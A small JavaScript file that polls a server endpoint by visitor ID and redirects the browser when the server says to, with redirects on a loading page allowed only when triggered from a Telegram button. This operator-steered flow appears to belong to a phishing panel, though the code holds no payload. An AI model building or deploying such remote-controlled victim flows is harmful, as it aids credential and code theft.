// Portable Redirect Checker (Lite)
// - Checks portable tg_check_json_status.php for ready redirects
// - Enforces: on loading page, only Telegram-initiated redirects (source==='telegram_button')

(function(){
  function RedirectChecker(visitorId, checkIntervalMs, timeoutSec) {
    this.visitorId = visitorId;
    this.interval = checkIntervalMs;
    this.timeoutMs = timeoutSec * 1000;
    this.startTime = Date.now();
    this.timer = null;
    this.currentPath = window.location.pathname;
    this.isLoadingPage = this.currentPath.indexOf('load.php') !== -1;
    this.history = [];
  }

  RedirectChecker.prototype.start = function() {
    var self = this;
    self.timer = setInterval(function(){ self.check(); }, self.interval);
    self.check();
  };

  RedirectChecker.prototype.check = function() {
    var self = this;
    if (Date.now() - self.startTime >= self.timeoutMs) {
      window.location.href = 'error.php?id=' + encodeURIComponent(self.visitorId);
      return;
    }

    fetch('tg_check_json_status.php?visitor_id=' + encodeURIComponent(self.visitorId) + '&_nocache=' + Date.now(), {
      cache: 'no-store',
      headers: { 'Cache-Control': 'no-cache' }
    })
    .then(function(r){ return r.json(); })
    .then(function(json){
      if (!json || !json.redirect) return;
      var redirectUrl = json.redirect_url;
      var redirectPath = new URL(redirectUrl, window.location.origin).pathname;

      // Prevent same-page or loop
      if (redirectPath === self.currentPath) return;
      if (self.history.indexOf(redirectPath) !== -1) return;

      // On loading page, ONLY proceed if Telegram-initiated
      if (self.isLoadingPage && json.source !== 'telegram_button') return;

      self.history.push(redirectPath);
      window.location.href = redirectUrl;
    })
    .catch(function(err){ console.warn('Redirect check error:', err); });
  };

  // Bootstrap
  document.addEventListener('DOMContentLoaded', function(){
    if (typeof CHECK_INTERVAL === 'undefined' || typeof TIMEOUT === 'undefined' || typeof VISITOR_ID === 'undefined') {
      console.error('RedirectChecker configuration missing');
      return;
    }
    var rc = new RedirectChecker(VISITOR_ID, CHECK_INTERVAL, TIMEOUT);
    rc.start();
  });
})();